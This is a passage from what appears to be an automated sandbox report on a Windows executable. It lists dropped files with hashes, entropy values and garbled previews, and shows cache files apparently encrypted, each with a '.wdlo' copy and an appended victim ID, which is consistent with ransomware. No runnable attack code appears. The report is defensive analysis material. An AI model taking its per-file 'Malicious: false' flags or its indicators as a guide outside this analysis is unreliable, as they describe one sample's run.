.F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.1.0.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4D80.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4544
Entropy (8bit):	4.42868874428226
Encrypted:	false
SSDEEP:	48:cvIwWl8zsqJg77aI9HZD6WpW8VYb+Ym8M4J6uFFC+q8Qy4Tg42d:uIjf4I7bH7VG3JGM4Tg42d
MD5:	040FF255C17B01DCB8FDA0628D2083A9
SHA1:	3E7AB0138A0CAAA4328E2931531BF4C55294CFD3
SHA-256:	A336E47AA963DEAFE7AF6B82C8582070B0902E78954A7934275C983C6C61F805
SHA-512:	5B874F93400431EB6BBC661D390A49468CA90DAE3DFFE3C31682D670B5E021EBEE25CA1BC3D6A89BBB8741467269DC283D08F317C1B556324A9AC4C989136DE7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="427168" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\SystemID\PersonalID.txt

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	5.0886296251082035
Encrypted:	false
SSDEEP:	3:UGBMOsdV5oljqGMzu:UbOsVolWbzu
MD5:	2C0919DC4D59DD87FF4A09DA22EA3E97
SHA1:	142A1B8D66FBC8DB7C5EF363806C14DDB45B99D0
SHA-256:	8768E12D0EDCB831F3259EBC93AEACE6112F250F91A266283139DD39C79CF675
SHA-512:	C9CA20176C7E558589F6CE4B7AAF6880D725EC66B6466694A561B438A0F039662E4F32F9277A507B71855E74D7780DED77EA136B1A2D24E477F77463385A8F24
Malicious:	false
Preview:	i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1..

C:\Users\user\.curlrc

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.268405092337316
Encrypted:	false
SSDEEP:	6:KWgaks6vJveqH6Akkwn29saaJXLmF0RDnhubNFBOsVolWbz6Wcii96Z:Nfks6Rveh/pRZmF0RhqNFT36Wcii9a
MD5:	48A499FB9612F3FDED669F645D70FB01
SHA1:	3EDC62F7D2735FD7957493629864C9AD4A29C7E1
SHA-256:	1DA2EE5F74116D163ED679B3EBC1A1F55321431899176D7DCF02BEA8045383C9
SHA-512:	D0C8DE5C258268C41C963408087EA6DC8785AA5FB8F8F3E022D38F5C94BD78CA311F2B0A741217DFE8F36A6A6588EE40360906D1B5E3AEFF5CA2B3324BC18D3C
Malicious:	false
Preview:	insec.[S....9AF.."...Y.G.vHdT.P.z.}..<.h.l!......._.YV...f.lJ..4l.J.."u..u..:..r..kp.-q..u.K.;}P...L........h..YqBA...m.3G.\|.)xMV .>...."..N....I.).......B.2.;....}?..\........Tl..A".S.a..E..6....f...........m..Z.WU.o......N'....2.....%..HZI..U.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\.curlrc.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.268405092337316
Encrypted:	false
SSDEEP:	6:KWgaks6vJveqH6Akkwn29saaJXLmF0RDnhubNFBOsVolWbz6Wcii96Z:Nfks6Rveh/pRZmF0RhqNFT36Wcii9a
MD5:	48A499FB9612F3FDED669F645D70FB01
SHA1:	3EDC62F7D2735FD7957493629864C9AD4A29C7E1
SHA-256:	1DA2EE5F74116D163ED679B3EBC1A1F55321431899176D7DCF02BEA8045383C9
SHA-512:	D0C8DE5C258268C41C963408087EA6DC8785AA5FB8F8F3E022D38F5C94BD78CA311F2B0A741217DFE8F36A6A6588EE40360906D1B5E3AEFF5CA2B3324BC18D3C
Malicious:	false
Preview:	insec.[S....9AF.."...Y.G.vHdT.P.z.}..<.h.l!......._.YV...f.lJ..4l.J.."u..u..:..r..kp.-q..u.K.;}P...L........h..YqBA...m.3G.\|.)xMV .>...."..N....I.).......B.2.;....}?..\........Tl..A".S.a..E..6....f...........m..Z.WU.o......N'....2.....%..HZI..U.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.606103355792876
Encrypted:	false
SSDEEP:	12:kLTJn/U+BNWneOGbK5t8sn/FEJktpvPNWuB+jraQ36Wcii9a:w5U4gneOPD8s/kap3ouBOr33zbD
MD5:	C55817A588A0404AEFA5539B1E9ADE75
SHA1:	F20A6D16CA988CF4D45C579F0D377E9CD69AFD00
SHA-256:	5F63C13BEA6059502BBAE732B137DBD29202D93225090B7280BD3F9B4509D464
SHA-512:	F3573E68E4601EF6D58B5465EB358B363EE039C983D2DACEC75ECFE4EE60F56B5C09D77BDD41EDDF643BD0A184FA43D03ACD36C7E09FC232F1640F44FEE95108
Malicious:	false
Preview:	2023/...?../.........nI......?..r?.z.kQ.)?E+..Ow.R./.L3...c.@....a...e.[cBD..\|5..X.............pK5}..p5..........QDC.@....^.?.......Z......m..k..,..o:....hvf.L........a... ..P`........N....8.+.G..P<.._.D.S..B.^...C...7...h.:..y....HXN.C...W2.j.I@XQN..\|.I.`....%W#z.N...w.?39...3...3bh.w.fT.EUPv.h..?QHf.fI.....-N.h.qc..-...i..Z..x.&V.I.vd....D"./>.\|...%<...u......@..rPGLVy[......6....u..?....2.....\.......j...H..\|..I.p....m..@....QN.\")....:.TB.`.D;.R.mz.88}...kURNd.D(7..gXd.v..A...zG...."4.i..oU.@x..@ .j..9..T..g.....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	626
Entropy (8bit):	7.606103355792876
Encrypted:	false
SSDEEP:	12:kLTJn/U+BNWneOGbK5t8sn/FEJktpvPNWuB+jraQ36Wcii9a:w5U4gneOPD8s/kap3ouBOr33zbD
MD5:	C55817A588A0404AEFA5539B1E9ADE75
SHA1:	F20A6D16CA988CF4D45C579F0D377E9CD69AFD00
SHA-256:	5F63C13BEA6059502BBAE732B137DBD29202D93225090B7280BD3F9B4509D464
SHA-512:	F3573E68E4601EF6D58B5465EB358B363EE039C983D2DACEC75ECFE4EE60F56B5C09D77BDD41EDDF643BD0A184FA43D03ACD36C7E09FC232F1640F44FEE95108
Malicious:	false
Preview:	2023/...?../.........nI......?..r?.z.kQ.)?E+..Ow.R./.L3...c.@....a...e.[cBD..\|5..X.............pK5}..p5..........QDC.@....^.?.......Z......m..k..,..o:....hvf.L........a... ..P`........N....8.+.G..P<.._.D.S..B.^...C...7...h.:..y....HXN.C...W2.j.I@XQN..\|.I.`....%W#z.N...w.?39...3...3bh.w.fT.EUPv.h..?QHf.fI.....-N.h.qc..-...i..Z..x.&V.I.vd....D"./>.\|...%<...u......@..rPGLVy[......6....u..?....2.....\.......j...H..\|..I.p....m..@....QN.\")....:.TB.`.D;.R.mz.88}...kURNd.D(7..gXd.v..A...zG...."4.i..oU.@x..@ .j..9..T..g.....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.625785410165616
Encrypted:	false
SSDEEP:	12:kxu9zz6x5iFxw8aXC9Mz7gDHazeGmC3b+hjUU+tCKkUDTaR+ZF/36Wcii9a:52/iULXCAg6zrmCrkhvKkaOwD/3zbD
MD5:	56E0677416D1DB4A74B87BB64222F7CD
SHA1:	E4DC7891F24C9BE18B39110D46317D8573519C9D
SHA-256:	7880DB277E33E1ED6D8D16D78EBE21C0F5DF3A3DC16F6D82FC37264F28011E62
SHA-512:	4E8A4A991F66DDFF8843E02792C5212D0A8013CD4E30557B860388D503F3E4EDEB2DF4C3BA76C2E2FA13649417D070A745EBC951D2AF4270F9408E06D8395EFB
Malicious:	false
Preview:	2023/.b.6...<.l.T.Mf.L...%H...FL..UP..aX..F.q...b....xDF1i..\.&.l'R...7ZH...A\.=.bk..i>C@..Amn=..P.Q.E....2f.....xB.9.\|."..K.P~...ud.j.y.MY..o.HH.y.......uk.F..j..4eB0.y..^.g.^..klf#...4UM....]H..l,\|.`.4..l.....?B$.h.... '.a....!.\...<_a...I.....=..d_.j&FL.F.......p.'.o.FG..8....r.....@..k-Kd....c..%...k..T......&.O...$..%.S.....)....8r\|.$...]..j.q..~.a...SDw...&.,....9S.N...K..>...8..4...y...y......o...$...E..b..@8,...Cd...O......k..)H-b\|\|Q..T.<.%A./x.J8.<......'...r.......@..'.e.S..haT.?..%U.4.."Ffv.\pM.J....c.n,.rZ.*..KC.9.>.JP...E{\|..R.Pt}..]9.......j...u.1i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.625785410165616
Encrypted:	false
SSDEEP:	12:kxu9zz6x5iFxw8aXC9Mz7gDHazeGmC3b+hjUU+tCKkUDTaR+ZF/36Wcii9a:52/iULXCAg6zrmCrkhvKkaOwD/3zbD
MD5:	56E0677416D1DB4A74B87BB64222F7CD
SHA1:	E4DC7891F24C9BE18B39110D46317D8573519C9D
SHA-256:	7880DB277E33E1ED6D8D16D78EBE21C0F5DF3A3DC16F6D82FC37264F28011E62
SHA-512:	4E8A4A991F66DDFF8843E02792C5212D0A8013CD4E30557B860388D503F3E4EDEB2DF4C3BA76C2E2FA13649417D070A745EBC951D2AF4270F9408E06D8395EFB
Malicious:	false
Preview:	2023/.b.6...<.l.T.Mf.L...%H...FL..UP..aX..F.q...b....xDF1i..\.&.l'R...7ZH...A\.=.bk..i>C@..Amn=..P.Q.E....2f.....xB.9.\|."..K.P~...ud.j.y.MY..o.HH.y.......uk.F..j..4eB0.y..^.g.^..klf#...4UM....]H..l,\|.`.4..l.....?B$.h.... '.a....!.\...<_a...I.....=..d_.j&FL.F.......p.'.o.FG..8....r.....@..k-Kd....c..%...k..T......&.O...$..%.S.....)....8r\|.$...]..j.q..~.a...SDw...&.,....9S.N...K..>...8..4...y...y......o...$...E..b..@8,...Cd...O......k..)H-b\|\|Q..T.<.%A./x.J8.<......'...r.......@..'.e.S..haT.?..%U.4.."Ffv.\pM.J....c.n,.rZ.*..KC.9.>.JP...E{\|..R.Pt}..]9.......j...u.1i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.737636481735393
Encrypted:	false
SSDEEP:	24:YKWAp8YKmv/c+mQ4twiEpOzR2NdsKZxr/LJFqx3zbD:YYv/8ZEpOzRDwNFqx3nD
MD5:	1E284D8589B3CD32A19FFAC2BFC03F31
SHA1:	6E961E0AAD6080636A1E925D12A3A0FB6EFBCC30
SHA-256:	4CA9AC03A8090604D921AC90ED8CE188AC2A2791B4D309D23F460A8DD1DB27BD
SHA-512:	D6676581475A298EF7298ED1C14BB52336D90A835B7AACD47DDD062D2F8D760E6D7F87B663C794822C4100F92DF8BC752EE8DD16E57C989624275F9EC1CCE2A4
Malicious:	false
Preview:	{"os_..ed.ij..!.)94H9i+.WN...q$P%.D.%S.......-'4..K.V.G.[h...Ly...C..(.o.2..3 ...6P.#J...S.;..........k.9;Q@].nt....@.....\.....1.T..A..\zs9A..T..\|.9.-..9..f.._..c:.P.........\)..@}7.4.z..Z.&.p..e..o.........]....D.]...BoG~&...:.}=.2.I..;z.r..r&.....t;...bY.4.dqU.)C.D...E...).fO...z./.i..P1.4Q.s..!... ^..x.....\|)..^x......}.j......[... .t\P.U...I.t...Mc.$l.3.XxY......)......>.......t.....=;..Q.........G#.X.N..^O."d.&.=.G.a..j".;5W=..V....z........vE.fx.X...z..w_B.qE...]h.=P..2..%..RHF....j...:9(0.....5&SBI.l....c...%.A.g..*W......R.......7xG+.W~P.=+...k.W.cN.$:#.E.q.......5..[o./).PP..S..,3!.b..z.....D%l..u......%Iqi(9..ue...oT.... `3. ."X+.).;.........4..n8k6.k)....l...maD..4-.f..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.737636481735393
Encrypted:	false
SSDEEP:	24:YKWAp8YKmv/c+mQ4twiEpOzR2NdsKZxr/LJFqx3zbD:YYv/8ZEpOzRDwNFqx3nD
MD5:	1E284D8589B3CD32A19FFAC2BFC03F31
SHA1:	6E961E0AAD6080636A1E925D12A3A0FB6EFBCC30
SHA-256:	4CA9AC03A8090604D921AC90ED8CE188AC2A2791B4D309D23F460A8DD1DB27BD
SHA-512:	D6676581475A298EF7298ED1C14BB52336D90A835B7AACD47DDD062D2F8D760E6D7F87B663C794822C4100F92DF8BC752EE8DD16E57C989624275F9EC1CCE2A4
Malicious:	false
Preview:	{"os_..ed.ij..!.)94H9i+.WN...q$P%.D.%S.......-'4..K.V.G.[h...Ly...C..(.o.2..3 ...6P.#J...S.;..........k.9;Q@].nt....@.....\.....1.T..A..\zs9A..T..\|.9.-..9..f.._..c:.P.........\)..@}7.4.z..Z.&.p..e..o.........]....D.]...BoG~&...:.}=.2.I..;z.r..r&.....t;...bY.4.dqU.)C.D...E...).fO...z./.i..P1.4Q.s..!... ^..x.....\|)..^x......}.j......[... .t\P.U...I.t...Mc.$l.3.XxY......)......>.......t.....=;..Q.........G#.X.N..^O."d.&.=.G.a..j".;5W=..V....z........vE.fx.X...z..w_B.qE...]h.=P..2..%..RHF....j...:9(0.....5&SBI.l....c...%.A.g..*W......R.......7xG+.W~P.=+...k.W.cN.$:#.E.q.......5..[o./).PP..S..,3!.b..z.....D%l..u......%Iqi(9..ue...oT.... `3. ."X+.).;.........4..n8k6.k)....l...maD..4-.f..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.956022342015699
Encrypted:	false
SSDEEP:	96:Vqu0ejXsak9hNFF/zUhlC2N9WpUWgtoVVK4DD6:Zbj8jhNFVzULC4+UWnH6
MD5:	3FAF009B2F9FD4CED3537B140753FE4C
SHA1:	40815182110F5993F043272AA1F507C32AD4896A
SHA-256:	F426016348A39F8B5141231E588FD38FF894AE4D32E33723A7B980ED6A0E2C84
SHA-512:	21F5D06A7829A771587E01EE84ED61E40ADA8FEC3270D3A828B192EE8B8A514DAA97DDF65ED479661D75AF64EC7701F77C3E64DBC054A94E02184FC43472EF6E
Malicious:	false
Preview:	...#k#p{.TW5....G.w.#5.?m.....eQ...n.m.b\Zo...t.I..T4`.:`.d".........5...+k<.h.b.On......3...J...M...H..~co}.1._mk\...."E.....c.a......vr....P....+G9I.`....K.{.f.y<i..Q.+d..c....{.........S.z.qj>.U.......,...+f@....+.F...t..j...5....s..`H.......K.+..N...1..#...%.(/..NJ....P.R......j...9C..Y].S...:.s.]7....]p.c..R.......6a.h.d.1..0..7t...i.2T...M..t..r..G.L.S....c..k...W.....i..k.=;)q...=/.PP...lws..$.C"...(....L>..f}.B.l7..44f.............i........~=c.V...........5.p..v...UG......e..CU..p+.kt..~6,_.f...Y\.....j`M.e.id3p..7.....g.o..H.'.b.\|R%..-<l.....g...>...}.3...#vr..ce..@...\..9..D..8...{(.....>.W.b8Kt0.....7..!.B..w...?Dmp\c.(-.ns}[..X.@4....8.......Jn&...0-..}....HQ....h..oQ.m.......[.L....r...Cmc..v....#0u.H...1..\...h..aT.h...Z..b..q.G......=..\|.Y.=>;..f...&"0....Ww(.u...../..}.$.....O..........$S.Y..4..5..E..C..\...;....S.!.....o...xB..z...Z.0..@G.../u..XQ.b.._o...e....Ll.r..L.J.T.,~.....X.q....2m..Hz..{.;.[.S...c..?t.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.956022342015699
Encrypted:	false
SSDEEP:	96:Vqu0ejXsak9hNFF/zUhlC2N9WpUWgtoVVK4DD6:Zbj8jhNFVzULC4+UWnH6
MD5:	3FAF009B2F9FD4CED3537B140753FE4C
SHA1:	40815182110F5993F043272AA1F507C32AD4896A
SHA-256:	F426016348A39F8B5141231E588FD38FF894AE4D32E33723A7B980ED6A0E2C84
SHA-512:	21F5D06A7829A771587E01EE84ED61E40ADA8FEC3270D3A828B192EE8B8A514DAA97DDF65ED479661D75AF64EC7701F77C3E64DBC054A94E02184FC43472EF6E
Malicious:	false
Preview:	...#k#p{.TW5....G.w.#5.?m.....eQ...n.m.b\Zo...t.I..T4`.:`.d".........5...+k<.h.b.On......3...J...M...H..~co}.1._mk\...."E.....c.a......vr....P....+G9I.`....K.{.f.y<i..Q.+d..c....{.........S.z.qj>.U.......,...+f@....+.F...t..j...5....s..`H.......K.+..N...1..#...%.(/..NJ....P.R......j...9C..Y].S...:.s.]7....]p.c..R.......6a.h.d.1..0..7t...i.2T...M..t..r..G.L.S....c..k...W.....i..k.=;)q...=/.PP...lws..$.C"...(....L>..f}.B.l7..44f.............i........~=c.V...........5.p..v...UG......e..CU..p+.kt..~6,_.f...Y\.....j`M.e.id3p..7.....g.o..H.'.b.\|R%..-<l.....g...>...}.3...#vr..ce..@...\..9..D..8...{(.....>.W.b8Kt0.....7..!.B..w...?Dmp\c.(-.ns}[..X.@4....8.......Jn&...0-..}....HQ....h..oQ.m.......[.L....r...Cmc..v....#0u.H...1..\...h..aT.h...Z..b..q.G......=..\|.Y.=>;..f...&"0....Ww(.u...../..}.$.....O..........$S.Y..4..5..E..C..\...;....S.!.....o...xB..z...Z.0..@G.../u..XQ.b.._o...e....Ll.r..L.J.T.,~.....X.q....2m..Hz..{.;.[.S...c..?t.

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.631534235541324
Encrypted:	false
SSDEEP:	12:khLS7dmi7pJolg2x+lJpk3D09DbG3d7nqOUXSTmVomx0utFIRK36Wcii9a:+6dV9JH2+r+A9DbCdXUXJVWutGg3zbD
MD5:	C2A852FD19E5D5D54EB287FD45453DD0
SHA1:	74CF602BDC7E67709FBB96C9F11D6BAC1AC0F5C7
SHA-256:	6F66490A735BB2F0F6B74FD26F08BBF2277C58D75D1EDECB5072FCF54D51F9E4
SHA-512:	D1E78653C7E9E04A0EBDA11B49093D95D8265ADE1C77BAC63676FD8D57C4EF8C905CDC178A7A5E4E85394DCFDEDF6BDE21EC63F835645AEB2B88924D671DC612
Malicious:	false
Preview:	2023/.t.Qb..J...@...?..2m.'..a....C......Nv...@D..K.r.w.;zB...<Q..'.&..y.....\|.h.KS... .....s....}.Z....:.D.@J[..r......n.;...Oj..a......o.r^.0...f.9..?.6Z.......1.a...n%.}.8{.;.c.c.2.74.p.Hnd.'.........d.&...'.@%}Z...'w.....V%.!.v-..5.6>^w...c...A.9..2.) <w.?.Y..7....0..]3..b!=...<....C...R...W.1...;....x..{o...X.}..p!.....>-....^/.O..:0.....H.=.h.9MUJ..2.d...{t..k;].k.=CN.^;....[...Zw:.y.......9...7`pJ.c.l...jd.V.( ..^.......>[p.E.[7r....~~g.^u.p...hR....G.".jH......@...ZK\|E.w..........u._'..p#K&...}.oE.=..*.b..0...&.i!n.@.h).DI!)....Xc...A.f..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.631534235541324
Encrypted:	false
SSDEEP:	12:khLS7dmi7pJolg2x+lJpk3D09DbG3d7nqOUXSTmVomx0utFIRK36Wcii9a:+6dV9JH2+r+A9DbCdXUXJVWutGg3zbD
MD5:	C2A852FD19E5D5D54EB287FD45453DD0
SHA1:	74CF602BDC7E67709FBB96C9F11D6BAC1AC0F5C7
SHA-256:	6F66490A735BB2F0F6B74FD26F08BBF2277C58D75D1EDECB5072FCF54D51F9E4
SHA-512:	D1E78653C7E9E04A0EBDA11B49093D95D8265ADE1C77BAC63676FD8D57C4EF8C905CDC178A7A5E4E85394DCFDEDF6BDE21EC63F835645AEB2B88924D671DC612
Malicious:	false
Preview:	2023/.t.Qb..J...@...?..2m.'..a....C......Nv...@D..K.r.w.;zB...<Q..'.&..y.....\|.h.KS... .....s....}.Z....:.D.@J[..r......n.;...Oj..a......o.r^.0...f.9..?.6Z.......1.a...n%.}.8{.;.c.c.2.74.p.Hnd.'.........d.&...'.@%}Z...'w.....V%.!.v-..5.6>^w...c...A.9..2.) <w.?.Y..7....0..]3..b!=...<....C...R...W.1...;....x..{o...X.}..p!.....>-....^/.O..:0.....H.=.h.9MUJ..2.d...{t..k;].k.=CN.^;....[...Zw:.y.......9...7`pJ.c.l...jd.V.( ..^.......>[p.E.[7r....~~g.^u.p...hR....G.".jH......@...ZK\|E.w..........u._'..p#K&...}.oE.=..*.b..0...&.i!n.@.h).DI!)....Xc...A.f..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.49741011236993
Encrypted:	false
SSDEEP:	12:fTq3wYtX3Mv7TN95eK2puclJCL2D36Wcii9a:mgYtX83N95Ylq2D3zbD
MD5:	1E4C8B395CAD4401C3014E78E999E6A8
SHA1:	04914FC6A01EFFE8FB3F5523D44A25C2118E39F5
SHA-256:	4607CF1C3D846885B7E9CC71F1E22CF9E0187F7A8A7325D6C60DCBF0288EEA27
SHA-512:	317F1EB50EEE5DD15374834BE06FD3C1D11AB2E7F1511D294070B5B1EF2BDFC4106BF5585BEDA1BF75B4932EF8D604D086894712915447C79FDA1F2882CF1AC2
Malicious:	false
Preview:	S.z1.......R...1Q...,.....n).D.s...S..s....e..\|.0..1..gh.&. .p..../.c...Z...}.Tl4?.h.M.. .S..L...\|.j.......p.y...p\|..([.~...@...T.Z...m8.s..J....N..~.J.%H.......t..B..Z..j-.C.....x.o/a..... y.'P......_.J..fn............+...?.l?9~..0...3..kS..<lF....M.O.L.....m].~.8.`.}...aw-s.n..O..,sT....yU....d.L/....!..f...6..HU+......^..@..t..]{k(...*.8Zi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.wdlo (copy)

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.49741011236993
Encrypted:	false
SSDEEP:	12:fTq3wYtX3Mv7TN95eK2puclJCL2D36Wcii9a:mgYtX83N95Ylq2D3zbD
MD5:	1E4C8B395CAD4401C3014E78E999E6A8
SHA1:	04914FC6A01EFFE8FB3F5523D44A25C2118E39F5
SHA-256:	4607CF1C3D846885B7E9CC71F1E22CF9E0187F7A8A7325D6C60DCBF0288EEA27
SHA-512:	317F1EB50EEE5DD15374834BE06FD3C1D11AB2E7F1511D294070B5B1EF2BDFC4106BF5585BEDA1BF75B4932EF8D604D086894712915447C79FDA1F2882CF1AC2
Malicious:	false
Preview:	S.z1.......R...1Q...,.....n).D.s...S..s....e..\|.0..1..gh.&. .p..../.c...Z...}.Tl4?.h.M.. .S..L...\|.j.......p.y...p\|..([.~...@...T.Z...m8.s..J....N..~.J.%H.......t..B..Z..j-.C.....x.o/a..... y.'P......_.J..fn............+...?.l?9~..0...3..kS..<lF....M.O.L.....m].~.8.`.}...aw-s.n..O..,sT....yU....d.L/....!..f...6..HU+......^..@..t..]{k(...*.8Zi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.645088758464622
Encrypted:	false
SSDEEP:	12:kk7RnnfRMFciAcHq+jnhUOWGDLOhmDHac4uyuFafXgZ3FSYUYzQVuKMn36Wcii9a:t7JfkVK+jhUOWeLGmGc7afwtkYtaMn3D
MD5:	1C69D03E118EC1171304244F19976F9C
SHA1:	7DC657A1E7188A7B6B4BA6C91C114E8103AB116C
